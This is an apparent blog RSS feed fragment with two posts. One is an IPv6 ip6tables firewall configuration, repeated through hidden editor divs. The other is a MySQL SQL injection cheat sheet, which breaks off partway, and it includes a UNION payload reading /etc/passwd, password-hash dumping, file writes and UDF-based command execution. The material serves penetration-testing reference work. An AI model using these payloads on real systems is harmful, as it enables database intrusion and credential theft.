&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# Allow ICMPv6 everywhere&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-I INPUT &amp;#160;-p icmpv6 -j ACCEPT&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-I OUTPUT -p icmpv6 -j ACCEPT&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-I FORWARD -p icmpv6 -j ACCEPT&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# Allow forwarding&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A FORWARD -m state --state NEW -i eth0 -o sixxs -s &amp;lt;prefix&amp;gt;::/48 -j ACCEPT&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# SSH in&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A FORWARD -i sixxs -p tcp -d &amp;lt;prefix&amp;gt;::1 --dport 22 -j ACCEPT&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# Webserver in&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A FORWARD -i sixxs -p tcp -d &amp;lt;prefix&amp;gt;::80:ca7 --dport 80 -j ACCEPT&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# Set the default policy&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-P INPUT &amp;#160; DROP&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-P FORWARD DROP&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-P OUTPUT &amp;#160;DROP&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;COMMIT&lt;/span&gt;&lt;/div&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;:INPUT DROP [0:0]&lt;br /&gt;:FORWARD DROP [0:0]&lt;br /&gt;:OUTPUT DROP [0:0]&lt;br /&gt;:in-new - [0:0]&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# First, delete all:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-F&lt;br /&gt;-X&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# Allow anything on the local link&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A INPUT &amp;#160;-i lo -j ACCEPT&lt;br /&gt;-A OUTPUT -o lo -j ACCEPT&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# Allow anything out on the internet&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A OUTPUT -o sixxs -j ACCEPT&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# Allow the localnet access us:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A INPUT &amp;#160; &amp;#160;-i eth0 &amp;#160; -j ACCEPT&lt;br /&gt;-A OUTPUT &amp;#160; -o eth0 &amp;#160; -j ACCEPT&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# Filter all packets that have RH0 headers:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A INPUT -m rt --rt-type 0 -j DROP&lt;br /&gt;-A FORWARD -m rt --rt-type 0 -j DROP&lt;br /&gt;-A OUTPUT -m rt --rt-type 0 -j DROP&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# Allow Link-Local addresses&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A INPUT -s fe80::/10 -j ACCEPT&lt;br /&gt;-A OUTPUT -s fe80::/10 -j ACCEPT&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# Allow multicast&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A INPUT -s ff00::/8 -j ACCEPT&lt;br /&gt;-A OUTPUT -s ff00::/8 -j ACCEPT&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# Allow ICMPv6 everywhere&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-I INPUT &amp;#160;-p icmpv6 -j ACCEPT&lt;br /&gt;-I OUTPUT -p icmpv6 -j ACCEPT&lt;br /&gt;-I FORWARD -p icmpv6 -j ACCEPT&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# Allow forwarding&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A FORWARD -m state --state NEW -i eth0 -o sixxs -s &amp;lt;prefix&amp;gt;::/48 -j ACCEPT&lt;br /&gt;-A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# SSH in&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A FORWARD -i sixxs -p tcp -d &amp;lt;prefix&amp;gt;::1 --dport 22 -j ACCEPT&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# Webserver in&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A FORWARD -i sixxs -p tcp -d &amp;lt;prefix&amp;gt;::80:ca7 --dport 80 -j ACCEPT&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# Set the default policy&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-P INPUT &amp;#160; DROP&lt;br /&gt;-P FORWARD DROP&lt;br /&gt;-P OUTPUT &amp;#160;DROP&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;COMMIT&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt; &lt;/span&gt;&lt;/p&gt;</description>
			<content:encoded><![CDATA[<p>This is an IPv6 firewall configuration script, designed to be stateful.</p>
<p>File location: /etc/network/ip6tables<br />Distro: Debian stable (latest updates as of date-of-writing).</p>
<hr />
<p><span style="font-size: x-small;"> </span></p>
<p><code> </code></p>
<p><span style="font-size: x-small;">*filter</span></p>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">:INPUT DROP [0:0]</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">:FORWARD DROP [0:0]</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">:OUTPUT DROP [0:0]</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">:in-new - [0:0]</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;"># First, delete all:</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-F</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-X</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;"># Allow anything on the local link</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-A INPUT &#160;-i lo -j ACCEPT</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-A OUTPUT -o lo -j ACCEPT</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;"># Allow anything out on the internet</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-A OUTPUT -o sixxs -j ACCEPT</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;"># Allow the localnet access us:</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-A INPUT &#160; &#160;-i eth0 &#160; -j ACCEPT</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-A OUTPUT &#160; -o eth0 &#160; -j ACCEPT</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;"># Filter all packets that have RH0 headers:</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-A INPUT -m rt --rt-type 0 -j DROP</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-A FORWARD -m rt --rt-type 0 -j DROP</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-A OUTPUT -m rt --rt-type 0 -j DROP</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;"># Allow Link-Local addresses</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-A INPUT -s fe80::/10 -j ACCEPT</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-A OUTPUT -s fe80::/10 -j ACCEPT</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;"># Allow multicast</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-A INPUT -s ff00::/8 -j ACCEPT</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-A OUTPUT -s ff00::/8 -j ACCEPT</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;"># Allow ICMPv6 everywhere</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-I INPUT &#160;-p icmpv6 -j ACCEPT</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-I OUTPUT -p icmpv6 -j ACCEPT</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-I FORWARD -p icmpv6 -j ACCEPT</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;"># Allow forwarding</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-A FORWARD -m state --state NEW -i eth0 -o sixxs -s &lt;prefix&gt;::/48 -j ACCEPT</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;"># SSH in</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-A FORWARD -i sixxs -p tcp -d &lt;prefix&gt;::1 --dport 22 -j ACCEPT</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;"># Webserver in</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-A FORWARD -i sixxs -p tcp -d &lt;prefix&gt;::80:ca7 --dport 80 -j ACCEPT</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;"># Set the default policy</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-P INPUT &#160; DROP</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-P FORWARD DROP</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">-P OUTPUT &#160;DROP</span></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;"><span style="font-size: x-small;">COMMIT</span></div>
<p><span style="font-size: x-small;">:INPUT DROP [0:0]<br />:FORWARD DROP [0:0]<br />:OUTPUT DROP [0:0]<br />:in-new - [0:0]</span></p>
<p><span style="font-size: x-small;"># First, delete all:</span></p>
<p><span style="font-size: x-small;">-F<br />-X</span></p>
<p><span style="font-size: x-small;"># Allow anything on the local link</span></p>
<p><span style="font-size: x-small;">-A INPUT &#160;-i lo -j ACCEPT<br />-A OUTPUT -o lo -j ACCEPT</span></p>
<p><span style="font-size: x-small;"># Allow anything out on the internet</span></p>
<p><span style="font-size: x-small;">-A OUTPUT -o sixxs -j ACCEPT</span></p>
<p><span style="font-size: x-small;"># Allow the localnet access us:</span></p>
<p><span style="font-size: x-small;">-A INPUT &#160; &#160;-i eth0 &#160; -j ACCEPT<br />-A OUTPUT &#160; -o eth0 &#160; -j ACCEPT</span></p>
<p><span style="font-size: x-small;"># Filter all packets that have RH0 headers:</span></p>
<p><span style="font-size: x-small;">-A INPUT -m rt --rt-type 0 -j DROP<br />-A FORWARD -m rt --rt-type 0 -j DROP<br />-A OUTPUT -m rt --rt-type 0 -j DROP</span></p>
<p><span style="font-size: x-small;"># Allow Link-Local addresses</span></p>
<p><span style="font-size: x-small;">-A INPUT -s fe80::/10 -j ACCEPT<br />-A OUTPUT -s fe80::/10 -j ACCEPT</span></p>
<p><span style="font-size: x-small;"># Allow multicast</span></p>
<p><span style="font-size: x-small;">-A INPUT -s ff00::/8 -j ACCEPT<br />-A OUTPUT -s ff00::/8 -j ACCEPT</span></p>
<p><span style="font-size: x-small;"># Allow ICMPv6 everywhere</span></p>
<p><span style="font-size: x-small;">-I INPUT &#160;-p icmpv6 -j ACCEPT<br />-I OUTPUT -p icmpv6 -j ACCEPT<br />-I FORWARD -p icmpv6 -j ACCEPT</span></p>
<p><span style="font-size: x-small;"># Allow forwarding</span></p>
<p><span style="font-size: x-small;">-A FORWARD -m state --state NEW -i eth0 -o sixxs -s &lt;prefix&gt;::/48 -j ACCEPT<br />-A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT</span></p>
<p><span style="font-size: x-small;"># SSH in</span></p>
<p><span style="font-size: x-small;">-A FORWARD -i sixxs -p tcp -d &lt;prefix&gt;::1 --dport 22 -j ACCEPT</span></p>
<p><span style="font-size: x-small;"># Webserver in</span></p>
<p><span style="font-size: x-small;">-A FORWARD -i sixxs -p tcp -d &lt;prefix&gt;::80:ca7 --dport 80 -j ACCEPT</span></p>
<p><span style="font-size: x-small;"># Set the default policy</span></p>
<p><span style="font-size: x-small;">-P INPUT &#160; DROP<br />-P FORWARD DROP<br />-P OUTPUT &#160;DROP</span></p>
<p><span style="font-size: x-small;">COMMIT</span></p>
<p>&#160;</p>
<p><span style="font-size: x-small;"> </span></p>]]></content:encoded>
								<comments>http://www.bethlehem.eu/blog/2011/01/ipv6-ip6tables-firewall-configuration#comments</comments>
			<wfw:commentRss>http://www.bethlehem.eu/blog/?tempskin=_rss2&#38;disp=comments&#38;p=43</wfw:commentRss>
		</item>
				<item>
			<title>SQL Cheat sheets</title>
			<link>http://www.bethlehem.eu/blog/2010/07/sql-cheat-sheets</link>
			<pubDate>Wed, 07 Jul 2010 09:13:00 +0000</pubDate>			<dc:creator>JF</dc:creator>
			<category domain="main">Uncategorized</category>			<guid isPermaLink="false">39@http://www.bethlehem.eu/blog/</guid>
						<description>&lt;p&gt;Thanks to &lt;a href=&quot;http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/&quot;&gt;PentestMonkey.net&lt;/a&gt; for this.&lt;br /&gt;&lt;br /&gt;MySQL:&lt;/p&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Version&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT @@version&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Comments&lt;/td&gt;
&lt;td&gt;SELECT  1; #comment&lt;br /&gt;SELECT /*comment*/1;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Current User &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT  user();&lt;br /&gt; SELECT system_user();&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Users&lt;/td&gt;
&lt;td&gt;SELECT  user FROM mysql.user; -- priv&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Password Hashes&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT  host, user, password FROM mysql.user; -- priv&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Password  Cracker&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.openwall.com/john/&quot;&gt;John the  Ripper&lt;/a&gt; will crack MySQL password hashes.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List  Privileges&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;SELECT grantee, privilege_type, is_grantable FROM  information_schema.user_privileges; -- list user privs&lt;/p&gt;
&lt;p&gt;SELECT  host, user, Select_priv, Insert_priv, Update_priv, Delete_priv,  Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv,  File_priv, Grant_priv, References_priv, Index_priv, Alter_priv,  Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv,  Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; --  priv, list user privs&lt;/p&gt;
&lt;p&gt;SELECT grantee, table_schema, privilege_type  FROM information_schema.schema_privileges; -- list privs on databases  (schemas)&lt;/p&gt;
&lt;p&gt;SELECT table_schema, table_name, column_name,  privilege_type FROM information_schema.column_privileges; -- list privs  on columns&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List DBA Accounts&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;SELECT  grantee, privilege_type, is_grantable FROM  information_schema.user_privileges WHERE privilege_type = &#039;SUPER&#039;;&lt;/p&gt;
&lt;p&gt;SELECT host, user FROM mysql.user WHERE Super_priv = &#039;Y&#039;; # priv&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Current  Database&lt;/td&gt;
&lt;td&gt;SELECT database()&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Databases&lt;/td&gt;
&lt;td&gt;SELECT  schema_name FROM information_schema.schemata; -- for MySQL &amp;gt;= v5.0&lt;br /&gt;SELECT  distinct(db) FROM mysql.db -- priv&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Columns &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT  table_schema, table_name, column_name FROM information_schema.columns  WHERE table_schema != &#039;mysql&#039; AND table_schema != &#039;information_schema&#039;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List  Tables&lt;/td&gt;
&lt;td&gt;SELECT table_schema,table_name FROM  information_schema.tables WHERE table_schema != &#039;mysql&#039; AND table_schema  != &#039;information_schema&#039;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Find Tables From Column Name&lt;/td&gt;
&lt;td&gt;SELECT table_schema, table_name FROM information_schema.columns WHERE  column_name = &#039;username&#039;; -- find table which have a column called  &#039;username&#039;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Select Nth Row&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;SELECT  host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from  0&lt;br /&gt;SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows  numbered from 0&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Select Nth Char  &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT  substr(&#039;abcd&#039;, 3, 1); # returns c&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bitwise AND&amp;#160; &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT  6 &amp;amp; 2; # returns 2&lt;br /&gt;SELECT 6 &amp;amp; 1; # returns 0&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;p&gt;ASCII  Value -&amp;gt; Char&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;SELECT char(65); # returns A&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Char  -&amp;gt; ASCII Value&lt;/td&gt;
&lt;td&gt;SELECT ascii(&#039;A&#039;); # returns 65&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Casting&lt;/td&gt;
&lt;td&gt;SELECT  cast(&#039;1&#039; AS unsigned integer);&lt;br /&gt;SELECT cast(&#039;123&#039; AS char);&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;String  Concatenation&lt;/td&gt;
&lt;td&gt;SELECT CONCAT(&#039;A&#039;,&#039;B&#039;); #returns AB&lt;br /&gt;SELECT  CONCAT(&#039;A&#039;,&#039;B&#039;,&#039;C&#039;); # returns ABC&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;p&gt;If Statement&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;SELECT if(1=1,&#039;foo&#039;,&#039;bar&#039;); -- returns &#039;foo&#039;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Case  Statement&lt;/td&gt;
&lt;td&gt;SELECT CASE WHEN (1=1) THEN &#039;A&#039; ELSE &#039;B&#039; END; #  returns A&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Avoiding Quotes &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT  0x414243; # returns ABC&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Time Delay&amp;#160; &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;SELECT  BENCHMARK(1000000,MD5(&#039;A&#039;));&lt;br /&gt;SELECT SLEEP(5); # &amp;gt;= 5.0.12&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Make  DNS Requests&lt;/td&gt;
&lt;td&gt;Impossible?&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command Execution&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;If  mysqld (&amp;lt;5.0) is running as root AND you compromise a DBA account  you can execute OS commands by uploading a shared object file into  /usr/lib (or similar).&amp;#160; The .so file should contain a User Defined  Function (UDF).&amp;#160; &lt;a href=&quot;http://www.0xdeadbeef.info/exploits/raptor_udf.c&quot;&gt;raptor_udf.c&lt;/a&gt; explains exactly how you go about this.&amp;#160; Remember to compile for the  target architecture which may or may not be the same as your attack  platform.&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Local File Access&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;...&#039; UNION  ALL SELECT LOAD_FILE(&#039;/etc/passwd&#039;) -- priv, can only read  world-readable files.&lt;br /&gt;SELECT * FROM mytable INTO dumpfile  &#039;/tmp/somefile&#039;; -- priv, write to file system&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hostname,  IP Address&lt;/td&gt;
&lt;td&gt;Impossible?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Create Users&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;CREATE  USER test1 IDENTIFIED BY &#039;pass1&#039;; -- priv&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Delete  Users&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;DROP USER test1; -- priv&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
